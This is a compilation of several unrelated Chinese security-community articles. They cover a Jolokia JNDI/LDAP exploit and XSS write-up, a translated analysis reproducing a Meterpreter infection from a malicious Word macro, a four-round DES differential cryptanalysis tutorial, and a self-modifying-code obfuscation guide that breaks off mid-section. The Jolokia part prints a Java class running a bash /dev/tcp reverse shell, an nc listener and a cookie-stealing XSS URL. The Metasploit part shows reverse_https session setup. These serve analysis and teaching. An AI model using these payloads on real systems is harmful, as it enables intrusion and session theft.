httpExchange.getRequestURI()); InputStream inputStream = HttpFileHandler.class.getResourceAsStream("ExportObject.class"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); while(inputStream.available()>0) { byteArrayOutputStream.write(inputStream.read()); } byte[] bytes = byteArrayOutputStream.toByteArray(); httpExchange.sendResponseHeaders(200, bytes.length); httpExchange.getResponseBody().write(bytes); httpExchange.close(); } catch(Exception e) { e.printStackTrace(); } } } 1. 之后，我们需要利用reverse shell命令创建一个ExportObject.java，然后通过HTTP服务器为这个类提供的相应的字节码： public class ExportObject { public ExportObject() { try { System.setSecurityManager(null); java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/127.0.0.1/7777 0>&1`"); } catch(Exception e) { e.printStackTrace(); } } } 1. 运行LDAP服务器时，应使用如下所示的命令行参数： <http://127.0.0.1:7873/#ExportObject> 9092 其中： * <http://127.0.0.1:7873/是攻击者HTTP服务器的URL> * ExportObject是包含攻击者代码的Java类的名称 * 9092是LDAP服务器的监听端口 1. 然后，在7777端口上启动一个nc监听器： $ nc -lv 7777 1. 当步骤#1中展示的请求发出之后，存在该漏洞的服务器将向攻击者的LDAP服务器发出请求。 2. 当监听端口9092的LDAP服务器接收到来自含有该漏洞的服务器的请求时，它将创建一个带有相关属性的Entry对象，并利用LDAP响应返回该对象。 e.addAttribute("javaClassName", "ExportObject"); e.addAttribute("javaCodeBase", "http://127.0.0.1/"); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", "ExportObject"); 1. 当易受攻击的服务器收到该LDAP响应时，它会从攻击者的HTTP服务器获取ExportObject.class，实例化该对象并执行反向shell命令。 2. 然后，攻击者就能够在nc监听器上收到来自受该漏洞影响的服务器的连接。 **跨站脚本漏洞（CVE-2018-1000129）** * * * Jolokia Web应用程序含有一个经典的反射式跨站点脚本（XSS）漏洞。在默认情况下，Jolokia返回的响应会提供application/json内容类型，因此在大多数情况下，将用户提供的输入插入到响应中并不是什么难事。但是通过阅读源代码，我们发现，只需通过向请求添加GET参数mimeType就可以修改响应的Content-Type： http://localhost:8161/api/jolokia/read?mimeType=text/html 换句话说，我们至少可以利用这个参数将自己的代码原封不动的插入到响应中去： http://localhost:8161/api/jolokia/read<svg%20onload=alert(docu ment.cookie)>?mimeType=text/html 在内容类型text/html的帮助下，攻击者就可以利用传统的反射式XSS漏洞了。利用这个漏洞，攻击者可以在应用程序输入参数中注入任意的客户端JavaScript代码，而这些代码最终将在最终用户的Web浏览器中呈现并执行。这样一来，攻击者就能从含有该漏洞的域中窃取cookie，并在未经授权的情况下访问用户的身份验证会话，修改易受攻击的网页的内容或攻击用户的Web浏览器。 **小结** * * * * 在寻找安全漏洞的时候，我们强烈建议首先阅读相关文档！有时这一招非常管用！ * 对于Jolokia用户来说，我们建议将该软件更新至1.5.0版本。
社区文章
# 【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析（二） | ##### 译文声明 本文是翻译文章，文章来源：fortinet.com 原文地址：<http://blog.fortinet.com/2017/03/29/microsoft-word-file-spreads-malware-targeting-both-mac-os-x-and-windows-part-ii> 译文仅供参考，具体内容表达以及含义原文为准。 **** **** 翻译：[shinpachi8](http://bobao.360.cn/member/contribute?uid=2812295712) 预估稿费：170RMB 投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿 ** ** **传送门** [**【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析** **（一）**](http://bobao.360.cn/learning/detail/3663.html) ** ** **前言** 在3月22号我们发布的[博文](http://blog.fortinet.com/2017/03/22/microsoft-word-file-spreads-malware-targeting-both-apple-mac-os-x-and-microsoft-windows)，([安全客地址](http://bobao.360.cn/learning/detail/3663.html)) 中, FortiGuard实验室介绍了一款针对于MACOS和WINDOWS的新Word宏恶意软件。 在对这款恶意软件进一步调查之后，我们确信在成功感染之后，后渗透的meterperter代理会运行在目标的系统上。Meterpreter是Metasploit的一部分，更多的信息可以在[这里看到](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/)。 为了让Meterpreter成功运行，攻击者的服务器上一定会运行着Metasploit来作为控制中心控制被感染的系统。 因为攻击者的服务器并没有作出任何响应，我们决定安装 Metasploit来确认我们的观察。 这篇博客提供了我们设置的服务器来进行攻击行为的复现，来看看攻击者可以在受感染的系统上做什么。 **测试环境** 测试环境包含了三台64位虚拟机，分别运行着windows, macos和kali。其中windows和macos分别作为受感染的系统，而kali作为运行着Metasploit的攻击者服务器。 下面是三台服务器的IP地址： Windows 7: 192.168.71.127 Mac OS X: 192.168.71.128 Kali Linux: 192.168.71.129 **设置Metasploit** 首先，我们在安装着Metasploit的Kali虚拟机上新建一个包含着设置Metasploit所需命令的脚本。 图1 脚本文件的内容 输入msfconsole -q -r osx_meterpreter_test来在安静模式下(-q)执行Metasploit，并加载脚本文件(-r)。 图2 运行Metasploit 一旦加载完之后，运行show options来查看这次会话中的Metasploit的当前配置。 我们这次测试使用了两个Metasploit组件，一个是web_delivery模块，另外一个是reverse_https的payload。 SRVHOST和 LHOST两个参数是用来设置kali系统的IP(192.168.71.129)。 IP地址作为一监听(对于回传的连接，监听在TCP/443本地端口上) 同时作为一个服务端(监听在tcp/8080(SRVPORT)) 来传递reverse_https 这个payload。 show options命令隐藏了某些只能在show advanced命令下查看的设置。唯一没被显示的设置是StagerVerifySSLCert，而这个参数我们设置为false。这样可以防止在建立安全通信时验证SSL证书的有效性。 图3 显示设置攻击时的选项 下一步是执行run命令，意味着开启了HTTPS 反弹处理/服务，这样它就准备好了与靶机的连接。看图4，一段python脚本已经生成，等待感染系统来运行。 图4 但是不要直接在靶机上执行这段代码，而是要看HTTPS请求的数据服务端是如何作回应的。 运行curl -k https://192.168.71.129:8080/， 我们可以看到一段python脚本代码被接收了。 图5 返回靶机的脚本 如果我们把在恶意宏是发现的代码与上一步生成的Metasploit代码做对比，很容易就能看出相同的元素(黄色高亮),但是明显base64编码的内容不同。 下一步就是解码base64的数据来查看将会在靶机上执行的代码。 为了完成这一步。调用一下base64工具就足够了，而且也可以在Metasploit的界面上执行。 命令语法是echo “” | base64 -d 图6 解码base64数据 在恶意软件的样本中，base64的解码数据被传递到了ExecuteForOSX()函数中(左侧)。 再一次，通过对比两段代码，我们可以看到它们是类似的，当然如果不算URL的话。 **演示对Mac OS X的攻击** 接下来，在Mac OS X的机器上，我们创建一个新文件名为"osx_meterpreter.py",这个文件包含着上边表格右侧的代码。然后通过调用Python解释器来执行这一段脚本。 图7 在 Mac OS X上运行python脚本 我们可以看到程序并没有出任何错误，双击666。 当我们返回Kali上的Metasploit控制台时，我们可以看到一个meterpreter会话已经连接了。 这个sessions命令可以看到目前的meterpreter会话。 输出显示了一个可用的类型为"meterpreter python/osx" 的会话。它表明会话正确的建立了。 图8 一个打开meterpreter会话。 命令sessions -i 1来启动这个会话一个交互的shell， 如meterpreter控制台显示的一样。 我们执行的第一个命令是meterpreter命令： sysinfo, 这个命令收集靶机的信息，然后如图9一样显示出来。在这个场景中，它折中的显示了一个Mac OS X机器 的信息。 图9 Mac OS X靶机的sys 信息。 现在，为了更刺激一点， shell命令被执行了。这个命令开启了一个可以在本地控制远程靶机的shell。 一个"sh-3.2" 的控制台出现了，从这我们可以执行任何的命令，即相当于在远程靶机执行的命令。 id命令用来显示用户的id值，在这个例子中是"root"用户。 图10 得到Mac OS X靶机的shell 还有一点值的提的是，即使Metasploit服务端宕机了，运行在靶机上的python仍然会存活，并一直尝试连接服务器直到服务器上线为止。 一旦这个情况发生了，靶机自动连接并且与服务器建立一个会话。 **演示Windows 7的攻击** 在Windows7的靶机上，我们要做的第一件事就是修改"hosts"文件, 如下所示，可以在“%SystemRoot%System32driversetc”文件夹下找到。 这个文件是用来建立域名与IP之间的映射的。 图11 修改host文件 作为结果，所有的指向pizza.vvlxpress.com的请求都会被发送到kali(192.168.71.129)系统中。 然后我们让64位DLL在powershell.exe进程中运行。它会连接到运行着Metasploit的Kali系统上。 当我们回到kali上的metasploit的控制台时，我们看到一个meterpreter会话已经打开了。然后我们可以使用sessions命令来查看目前的meterpreter会话。 输出显示了有一个类型为"meterpreter x64/windows"的会话。sysinfo命令如图12所示，显示了windows系统靶机的信息。 图12 得到windows靶机的系统信息. 在这个连接建立了之后，我们下一步检查系统信息。如图13, 我们可以对和图12中得到的信息做对比. 图13 感染的windows靶机的信息 然后我们执行shell命令来控制感染的Windows机器。 图14展示了在我们得到shell之后执行dir命令之后的输出。 **传送门** * * * [**【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析** **（一）**](http://bobao.360.cn/learning/detail/3663.html)
社区文章
# 密码学学习笔记 之 差分分析入门篇——四轮DES ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 前言 密码学学习笔记断更快半年了，最近又重新拾起了对密码学的学习，以一篇对四轮DES的差分分析“复出”。 对于差分密码分析的学习，参考《分组密码的攻击方法与实例分析》 这里就不重新介绍一遍DES的算法流程了，网上一大把。我们研究对DES算法的分析时，由于DES的初始置换及其逆置换均以公开，故在安全性分析时就可以将其忽略。另外我们这里暂且只分析四轮DES，所以有很多概率相关的概念也可以暂时不用涉及。 DES差分分析的关键就在于其S盒差分分布的不均匀特性，何为不均匀特性，即相同的差分进入S盒，输出的差分是不均匀分布的。 不过在详细介绍之前，还是先声明一些概念比较好。 ## 基础概念 **迭代分组密码的加密流程** （由于网站对latax语法不太支持，为了读者更好的”视觉体验“，这里我用截图了） ## 4轮 DES 算法的差分分析 流程图如下 我们记： 1. 明文对和相应的差分记为(P,P*) 和 P’ 2. 密文对和相应的差分记为 (T,T*) 和 T’ 3. 明文左半部分、右半部分及其差分记为 (L,R) 和 (L’,R’) 4. 密文左半部分、右半部分及其差分记为 (l,r) 和 (l’,r’) 5. 第1、2、3、4轮函数的输入和输入差分依次记为 a,b,c,d 和 a’, b’,c’,d’ 6. 第1、2、3、4轮函数的输出和输出差分依次记为 A,B,C,D 和 A’, B’,C’,D’ 4轮DES的差分分析本质上仍然是对S和的差分分析， 1.首先我们由密文对 T = (l,r), T* = (l*, r*),可以获得第4轮轮函数的输入对(r,r*)，进而也可以获得8个 S 盒的输入对（密钥加之前的数据）为 (E(r),E(r*)); **简单分析 S 盒针对差分的扩散特性以及拓展变换 E 的性质可知，第 4 轮轮函数的输入差分 r’ 也即 d’ 经过拓展变换 E 后（成为 S 盒的输入差分)，E(r’) 几乎会让 8 个 S 盒 都活跃，即这个 8 个 S 盒的输入差分都非0。** 2.第 4 轮轮函数的输出差分为 D’ = l’ ⊕ c’ = l’ ⊕ a’ ⊕ B’ ,其中 l’ = l ⊕ l*，已知。a’ = 00000000，B’ = P(*0000000)，其中 * 为未知的 4 比特向量，表示当第 2 轮轮函数中第一个 S 盒 S_1 的输入差分为 04（由于拓展变换）时可能的输出差分，未知。从而，第4轮轮函数中 8 个 S 盒的输出差分为 P^{-1}(D’)=P^{-1}(l’ ⊕ P(*0000000)) = P^{-1}(l’) ⊕ (*0000000)，可求。故第四轮中S2,S3,S4, S5, S6, S7, S8 共 7 个S 盒的输出差分均可求。 3.由上述两个步骤我们可以建立对7个S 盒的差分分析模型，通过对S 盒的差分分析，我们可以恢复 7 × 6 = 42 bit 的轮密钥，由密钥拓展算法，其他 14 bit 的密钥可通过穷尽搜索恢复。 上述攻击中我们未能恢复第 4 轮中进入第一个 S 盒的密钥，是因为它的输出差分未知，因此我们可以选择另外的明文差分，让第二轮的输入差分经过拓展变换后导致第 1 个 S 盒不活跃，即输入差分为0，这样我们就可求得第四轮中第 1 个 S 盒得差分输出了。进而只用再穷尽搜索其他 8bit 密钥。 好的，上面大部分是《分组密码的攻击方法与实例分析》书中的原话。现在，我再用通俗易懂的话来翻译翻译。（也就是讲的再细一点啦） ## 笔者的“翻译” 我们看到，首先我们构造差分 L’为 20000000 ，R’ 为 00000000，这没什么问题，右下角的x脚标说明这是个十六进制表示，不过注意这里的L’,R’已经是IP 置换过后的了，不是明文差分 X’ 的左右两部分哦，是IP(X’)的左右两部分。 然后我们这些个差分进入 **第一轮** ，右边的a’=00000000 进到 F 轮函数，由于是00000000，怎么线性非线性变换都没所谓，先E 盒拓展，再轮密钥加，最后出了S 盒也还是 00000000，再走一个P盒置换P(00000000)也还是 00000000。 **所以第一轮走完** ，左边差分等于 A’ ⊕ L’=00000000 ⊕ 20000000=20000000，右边还是原来的 a’=00000000 **到了第二轮** ，这个轮函数的输入是 b’ = A’ ⊕ L’=20000000，先先E 盒拓展，变成40000000，然后分为八组进入S 盒，显然后面 7 组都是0，不会激活 S 盒，那出来还是0。（可能会突然疑惑，轮密钥加呢？看到最上面的差分经过 F 函数各个组件的性质第一条，差分不受轮密钥加的影响，所以后面也都不管它了）但是第一组是以差分为 4 进入 S 盒的，由于性质第三条，S 盒的输出差分不确定，这与输出差分有关，也与具体的输出有关。所以，这一轮 S 盒的输出差分为 ***0000000** ，之后还得 P 盒置换，所以B’ = P(*0000000)。 **那么第二轮走完** ，左边等于B’ ⊕ R’ = P(*0000000) ⊕ 00000000=P(*0000000)，右边等于b’ = 20000000 **开始第三轮** ，这一轮开始就要乱起来了。首先这个轮函数的输入是 c’ = B’ ⊕ R’= P(*00000000)，我们看一下具体的 P 盒， 这里我们不确定的前四个bit被扩散到了第3，5，6，8组，也就是说现在我们的c’ = 00*0**0*，然后这里还要先E 盒拓展，看看 E 盒 那么进入S 盒前 可以看到，几乎每一组都被”污染了“，只剩第5组还是 0 那么 C’ = ****0***，然后这里还有一个 P 盒置换， **那么第三轮走完，** 左边等于C’ ⊕ b’ = 20000000 ⊕ P(****0***)，右边等于c’ = ****0***（注，这里 * 为不确定的意思，进入S 盒前的 * 大概率不等于出 S 盒后的 *） **到最后的第四轮了** ，此时进入 S 盒的是d’ = C’ ⊕ b’,万幸只有四轮，所以d’ = r’,由于r’ 是可由最后的输出密文右半部分求一个IP 逆置换而来，因此，d’ 已知。 我们直接计算d’ 可以发现 d’几乎不会有 0 bit，也可以推一下，因为 d’ = P(****0***) ⊕ 20000000，而由于这个P 盒置换，第5组最终也会被”污染“，那么可以预见，每一组进入 S 盒的差分都被”污染“了，也就是说每一个 S 盒都会被激活。这也就是书中所说的 **简单分析 S 盒针对差分的扩散特性以及拓展变换 E 的性质可知，第 4 轮轮函数的输入差分 r’ 也即 d’ 经过拓展变换 E 后（成为 S 盒的输入差分)，E(r’) 几乎会让 8 个 S 盒 都活跃，即这个 8 个 S 盒的输入差分都非0。** 那么到此四轮DES分析完毕。其实也就说明了一个问题，进入第四轮的 S 盒的输入会激活所有的 S 盒，然后进入第四轮 S 盒的输入差分已知，从第四轮后面7个 S 盒出来的输出差分可求，由此我们可以建立对这7个S 盒的差分分析模型以求出第四轮的轮密钥。 接下来简单讲讲具体怎么求。 首先拿到最后的输出明文差分 Y’,首先对右半边求 IP 逆置换得到 d’=r’，然后对其用 E盒 做拓展置换。先打住，我们去求一下第四轮 S 盒 的输出差分P^{-1}(D’) 我们拿到输出明文差分Y’,对做半边求 IP 逆置换得到 l’ = c’ ⊕ D’,这个c’ = a’ ⊕ B’ = 00000000 ⊕ P(*00000000) ， 第四轮的轮密钥会分为8组，分别和经过 E 盒拓展置换的 8 组输入异或后最终进入 S 盒。这8组输入差分在与轮密钥异或前后是不会变的，但是我们再次强调前面提到过的第三条性质： **S 盒：S(x) ⊕ S(x*) = y ⊕ y*，结果不确定，不仅与x ⊕ x* 有关，还与 x 有关** 。输入的差分没变，但是两次输入的具体值因为轮密钥的异或，会发生变化。因此改变这里的轮密钥，是会使得 S 盒的输出差分受影响的。 但是呢，但是呢，我们不是已经知道输出差分了么？啊哈，那么很显然了，我们只要不断地尝试每个 S 盒那一组的轮密钥——轮密钥加，再 S 盒输出差分，然后对比我们已知的输出差分，如果匹配，则该轮密钥放入待选集合。由于每个 S 盒只用到 6bit 轮密钥，因此穷举复杂度只有 7× 2^6，完全可以接受。然后会出现多解的情况。换一组具有相同差分（非必须，差分为40000000 00000000也可）的明文输入，得到一个新的解集，再取交集即可。根据实际情况，一般取四对差分明文就能有很大概率解出 42 bit的轮密钥。 然后现在有两个选择，一个是选择复杂度为 2^{14} 穷举，另一个是换一下差分，不要激活到第一个 S 盒就行。这样就能恢复全部的48 bit密钥，然后再进行复杂度为 2^8 的穷举，两种复杂度倒也都是能接受的。 有了48bit的轮密钥后，我们知道密钥拓展用的压缩 P 盒 1.所以我们先根据 P 盒将 48 bit 的密钥位置先还原， 2.剩下的空位再直接穷举，最后得到56bit的轮密钥， 3.然后根据轮密钥生成的方式，将第四轮轮密钥还原成最初的密钥， 4.然后我们选取一对服务端生成的明文密文对，用我们的密钥对明文进行加密， 5.观察得到的密文是否与服务端生成的密文一致，若一致则得到正确密钥，否则回到第二步。 至此，4轮DES差分就到此结束了。可以看到，还没有用到概率论的知识，这是因为轮次比较少，前面我们分析的每一轮都是确定的，而等轮次增大到8轮以后就要开始引入统计分析与概率论了，取寻找概率较大的差分路径，这才是差分分析的完全体。 **Remark** ：前面我们提到， **DES差分分析的关键就在于其S盒差分分布的不均匀特性，何为不均匀特性，即相同的差分进入S盒，输出的差分是不均匀分布的。** 现在回头来看看这句话应该就能理解了，如果S盒差分分布均匀，相同地输入差分能够得到相同的输出差分，那么，我们就没办法去穷举验证我们的轮密钥了，因为我们没有了标准去区分密钥的正确与否。 ## 结语 差分分析入门篇到此告一段落，希望接下来能有进阶篇叭，如果我学的会，能够理解的话哈哈哈哈哈哈哈哈哈哈哈哈哈。
社区文章
# SMC自解码总结 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 0.说明 编译语言：c、x86汇编 编译器：vs2019 ## 1.SMC自解码简介 ### a.原理 > SMC：Self Modifying Code 即 **自修改代码** ，简而言之就是程序中的部分代码在运行前是被加密成一段数据，不可反编译，通过程序运行后执行相关解码代功能，对加密的代码数据进行解密，让其恢复正常功能! PS:代码二进制文件中就是字节码。本身就是一段二进制数据。 下面是伪代码演示一种SMC的典型应用： proc main: ............ IF .运行条件满足 CALL DecryptProc （Address of MyProc）;对某个函数代码解密 ........ CALL MyProc ;调用这个函数 ........ CALL EncryptProc （Address of MyProc）;再对代码进行加密，防止程序被Dump ...... end main ### b.一般实现方法 自修改代码，提前手动将要修改的代码部分替换为加密数据，运行自己的函数对修改部分进行解码。 1. 有两个函数，一个函数加密，一个函数解密，两者对应。 2. 找到要进行SMC的代码地址，然后事先在程序开始的地方设置：对该地址数据的解密函数。 3. 取出要进行SMC的代码的字节码，对其进行加密操作得到一串加密数据。 4. 用这串加密数据替换原代码的字节码。 通过这种方式，对核心代码进行SMC加密。 程序在被静态反编译的时候，核心代码就是一串数据无法反编译。程序在运行的时候又能成功将这段核心代码复原。 保护程序，同时亦可以将一些特征代码变形隐藏。 > 写在前面：在自己实现SMC时，一定注意SMC加解密代码所属的节区是否有可写权限！！！！ ## 2.五种实现SMC的形式 SMC简单来说包括：加解密、寻找解码地址。 加解密的话，可以任意设置。重点在于如何 **程序自己** 如何找到要进行解码的地址。 下面便是四种寻址方式 ### ①.给定的固定地址->函数体 这是最简单的SMC加密方式， 一般是先写好解密代码，通过调试得到要解密的代码首地址RVA，在通过函数中的`ret`指令，计算函数代码块的大小，然后将函数首地址RVA给到解密代码，根据代码块大小进行加解密。 然后保存程序，再找到该函数在二进制文件中的地址FOA，对其字节码进行加密，然后替换掉。 > 注意代码段节区属性，是否可写？ ### ②.取出函数的字节码放入数组->函数体 与①中所述类似，是通过调试，将要进行SMC加密的代码对应的字节码字节码给取出来，加密后放到数组里。然后程序事先执行解密代码，对该数组进行解密，再通过 **函数指针** 调用这部分代码。 ### ③.添加代码段节区—>代码段 该部分需要了解 **PE结构** 中 **节表** 的知识:[PE头结构说明及C语言解析](https://blog.csdn.net/qq_35289660/article/details/106058233) 预编译指令#pragma为程序添加一个代码段节区，用于存放函数。 #pragma code_seg(".scode")//告诉编译器为程序生成一个名为“.scode”的代码段节区。节区名不可超过8字节！ //添加的函数 void __declspec(naked)__cdecl Func( )//我这里声明一个裸函数，自己开辟堆栈和释放堆栈，避开检测堆栈的函数，防止函数地址重定位的影响 {//55 8b ec 83函数开始的字节码 __asm { push ebp mov ebp,esp sub esp,0x40 push ebx push esi push edi mov eax,0xCCCCCCCC mov ecx,0x10 lea edi,dword ptr ds:[ebp-0x40] rep stos dword ptr es:[edi] } //功能代码处 __asm { pop edi pop esi pop ebx mov esp,ebp pop ebp ret } } #pragma code_seg()//告诉编译器此处是新代码段的结束位置。 #pragma comment(linker,"/SECTION:.scode,ERW")//告诉链接程序最终在生成代码时添加这个名为“.scode”的代码段，段属性为“ERW”，分别表示可执行、可读和可写。 编译成功后通过PE查看器可发现多了一个名为`.code`的节区，节区属性为0xE0000020，也就是0x00000020（代码段）、0x10000000（可执行）、0x40000000（可读）和0x80000000（可写）四个属性的组合。 那么我们就可以编写解密函数：通过API:[GetModuleHandle](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea)获得自己进程的句柄 HMODULE GetModuleHandleA( LPCSTR lpModuleName );//如果此参数为NULL，则 GetModuleHandle返回用于创建调用进程的文件（.exe文件）的句柄，即自身exe模块在内存中的句柄。 当参数为NULL时，返回的自己进程的句柄，值是一个地址，改地址指必定向`MZ`标志，即PE结构开头。 然后即可遍历自己的PE结构，找到节区名为`.code`的节表，表中的 **VirtualAddress** 即为该节区的RVA，即可找到SMC加密代码的地址，然后直接根据表中的 **SizeOfRawData** 对整个节区进行解密操作得到真实代码。 void decode()//0x009AD000 {//55 8b ec 83 LPVOID pModule = GetModuleHandle(NULL);//获得自己进程的句柄 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pModule; PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew); PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)((DWORD)pNtHeader + 4); PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)((DWORD)pNtHeader + IMAGE_SIZEOF_FILE_HEADER + 4); PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pOptionalHeader + pFileHeader->SizeOfOptionalHeader); //遍历节表头找到名为“.scode”的节表地址 while (strcmp((char*)pSectionHeader->Name, ".scode")) pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pSectionHeader + IMAGE_SIZEOF_SECTION_HEADER); PBYTE pSection = (PBYTE)((DWORD)pModule + pSectionHeader->VirtualAddress);//该节区的VA //下面这个是我个人的加解密操作，因为异或具有对称性，所以加密解密都可以这段代码。可以按照需求自行加解密。 for (DWORD i = 0; i < pSectionHeader->SizeOfRawData; i++) *(pSection + i) = *(pSection + i) ^ key[i % 4]; //初始加密的时候，通过以下代码，将加密后的节区数据保存到文件中，方便我替换^.^hhhhhh FILE* pFile = NULL; char FileName[] = "./Data"; pFile = fopen(FileName, "wb"); if (!pFile) { printf("file creation failed!\n"); return; } fwrite(pSection, pSectionHeader->SizeOfRawData, 1, pFile); fclose(pFile); } 只需将解密函数放在调用SMC加密函数之前的位置。 最后记得在程序生成之后对“.scode”代码段预先加密 反编译出来的SMC解密代码，是真的难看！。。。。。 这种方法由于会在pe结构中单独生成一个代码段节区，点儿“此地无银三百两”，会让破解者尤其“照顾”。 ### ④.函数名存放函数地址->函数体 > c/c++中函数名就是函数地址， 针对这一特性，我们直接可以直接可以根据函数名当做指针获取函数对应的字节码进行加解密。 而要加解密的函数的大小，一般用这两种方式： 调试程序，手动计算函数中ret指令据起始指令的偏移，即为函数代码块大小。 #例如下面这段函数代码块的大小 void Func() 5: { 00D33C20 55 push ebp 00D33C21 8B EC mov ebp,esp 00D33C23 81 EC C0 00 00 00 sub esp,0C0h 00D33C29 53 push ebx 00D33C2A 56 push esi 00D33C2B 57 push edi 00D33C2C 8D BD 40 FF FF FF lea edi,[ebp-0C0h] 00D33C32 B9 30 00 00 00 mov ecx,30h 00D33C37 B8 CC CC CC CC mov eax,0CCCCCCCCh 00D33C3C F3 AB rep stos dword ptr es:[edi] 00D33C3E B9 15 C0 D3 00 mov ecx,offset _FA250FC7_源@cpp (0D3C015h) 00D33C43 E8 BB D5 FF FF call @__CheckForDebuggerJustMyCode@4 (0D31203h) 6: MessageBox(NULL, "hello", "Func", 0); 00D33C48 8B F4 mov esi,esp 00D33C4A 6A 00 push 0 00D33C4C 68 30 7B D3 00 push offset string "Func" (0D37B30h) 00D33C51 68 38 7B D3 00 push offset string "hello" (0D37B38h) 00D33C56 6A 00 push 0 00D33C58 FF 15 98 B0 D3 00 call dword ptr [__imp__MessageBoxA@16 (0D3B098h)] 00D33C5E 3B F4 cmp esi,esp 00D33C60 E8 A8 D5 FF FF call __RTC_CheckEsp (0D3120Dh) 7: } 00D33C65 5F pop edi 00D33C66 5E pop esi 00D33C67 5B pop ebx 00D33C68 81 C4 C0 00 00 00 add esp,0C0h 00D33C6E 3B EC cmp ebp,esp 00D33C70 E8 98 D5 FF FF call __RTC_CheckEsp (0D3120Dh) 00D33C75 8B E5 mov esp,ebp 00D33C77 5D pop ebp 00D33C78 C3 ret #这里函数起始地址为：00D33C20h，函数结束地址为：00D33C78h，俩地址相减00D33C78h-00D33C20h=58h即为这个函数代码块的大小 在加解密函数的下面继续声明一个函数，计算两个函数的起始位置之差，即可得到加解密函数的代码块大小。 > 不过 这种方法我在自己测试时并没有成功实现！两个相邻函数，地址却并没有 **紧密** 相邻！ 此外，这种SMC加密方式还有一个问题： > 但是很多时候，函数名存放的地址，跳过去是一个jmp指令，再跳转一次才能到达函数位置。 识别函数名地址跳过去是否是jmp表，因为jmp对应的字节码是E9，假设指令为`jmp 0xaabbccdd`： 地址 | 字节码 | 操作数 ---|---|--- 0x11223344 | E9 | AABBCCDD 所以E9的操作数AABBCCDD的计算方法为 > 因为字节码`E9 AABBCCDD`整条指令的大小是5个字节 > > AABBCCDD = 0xaabbccdd – （0x11223344+5） > > 即：E9操作数 = 真实跳转地址 – E9下一条指令的大小 所以我们可以通过jmp的对应字节码E9的操作数，计算出真实跳转的函数地址。 char *pFuncAddr = (char *)Func;//函数名，强转类型 if(*((unsigned char*)pFuncAddr) == 0xE9)//判断是否是跳转指令 { pFuncAddr++; //跳过0xE9指令 i =* (int *)pFuncAddr;//这个jmp指令的操作数，也就是跳转的距离，四个字节的E9操作数 pFuncAddr = i + (pFuncAddr + 4); //修正到正确的位置。多加4是因为此时pFuncAddr已经自增1了，且此操作数也是4个字节。 //此时的pFuncAddr即使正确的函数地址了！ } > ps：我在测试的时候，一直没遇到函数名存放的地址跳过去是jmp指令，这种问题0.0！！！不过还是记录了这种问题的解决方法！ > > 注意代码段节区属性，是否可写？ ### ⑤.巧妙：扫描特征码->代码块 这种方法比较巧妙： > 分别在函数开始和函数结尾构造对应特征码，通过扫描对应特征码，确定SMC自修改代码的开始和结束位置。 解释：利用花指令的原理，通过汇编指令`_emit`在SMC代码块的开始位置嵌入自己定义的 **开始特征码** ，同时在SMC代码块的结束位置嵌入自己定义的 **结束特征码** ，解密函数只需扫描对应的大致内存中 **开始特征码** 确定SMC自修改代码的开始位置，扫描到 **结束特征码** 确定SMC自修改代码的结束位置！ //利用花指令原理实现特征码定位SMC加密代码块 void func() { //添加“开始特征码”:"hElLowoRLd" asm { jz label_1; jnz label_1; _emit 'h'; _emit 'E'; _emit 'l'; _emit 'L'; _emit 'o'; _emit 'w'; _emit 'o'; _emit 'R'; _emit 'L'; _emit 'd'; lable_1: } //************* //要加密的代码 //************* //添加“结束特征码”:"dLRowoLlEh"（直接将开“开始特征码”反过来） asm { jz label_2; jnz label_2; _emit 'd'; _emit 'L'; _emit 'R'; _emit 'o'; _emit 'w'; _emit 'o'; _emit 'L'; _emit 'l'; _emit 'E'; _emit 'h'; lable_2: } } 中间的二进制数据就是我们要SMC加密的函数代码块！ 然后我们只需扫描模块（或代码段节区）中的特征码，获得SMC加密的代码块地址和大小。 搜索算法我这里就不演示了。这种SMC加密方式比较巧妙，同时又较易理解，容易实现，很不错！ ## 3.SMC的调整 上面的讲解的都是对函数整体进行SMC解密，破解者一进去反编译，整段代码都不可反编译，难免怀疑函数代码块被SMC加密了。为了隐藏自己，可以对较少的指令进行SMC加密。 或者，我们只对一两个字节码进行加密。 这两种方式，第①种不能静态反编译，第②种能够静态反编译。 简述图中第②种方式： > 这里+运算对应的字节码是0x03 > > -运算对应的字节码是0x2b > > 0x03 ^ 0x2B = 0x28 我们用+运算字节码0x03 ^ 0x28 = 0x2b，得到-运算字节码 用-运算字节码0x2b ^ 0x28 = 0x03，得到+运算字节码 ## 4.SMC原理利用：交替加密 通过 `3.SMC的调整`所述的第②钟方法，可以延伸一种实现 **交替加密** 的方法。 **即将两个相同函数类型但不同加密方式的函数进行异或，得到一串数据，使用这串数据对加密函数的代码块进行异或，即可得到另一个加密函数。** > **可以在调用加密函数时，任意切换两种加密方法** 。 > > 当然，加密的方式肯定不止异或，这里只是简单的演示原理，只要能实现切换，任意加密都可以。 利用异或切换加密的过程可以直接主线程完成，也可以利用子线程完成。 这种方式的好处就是： **在一个函数大小的内存里，执行两套代码。** 当然拿到程序能够反编译，不过只能反编译出一套加密加密函数的代码，这样破解者如果只是看静态加密，很容易就被误导。 ## 4.SMC重点：避免加密到动态地址及解决方法 动态地址多指头文件提供的函数的地址，此外全局变量的地址，在实现SMC时，都应该尽量避免。 这部分要了解PE结构中的重定位知识：[重定位表的原理](https://blog.csdn.net/qq_35289660/article/details/107107887) ### 地址问题 由于一个exe在执行代码前，是先进行修正重定位，再执行我们的代码。 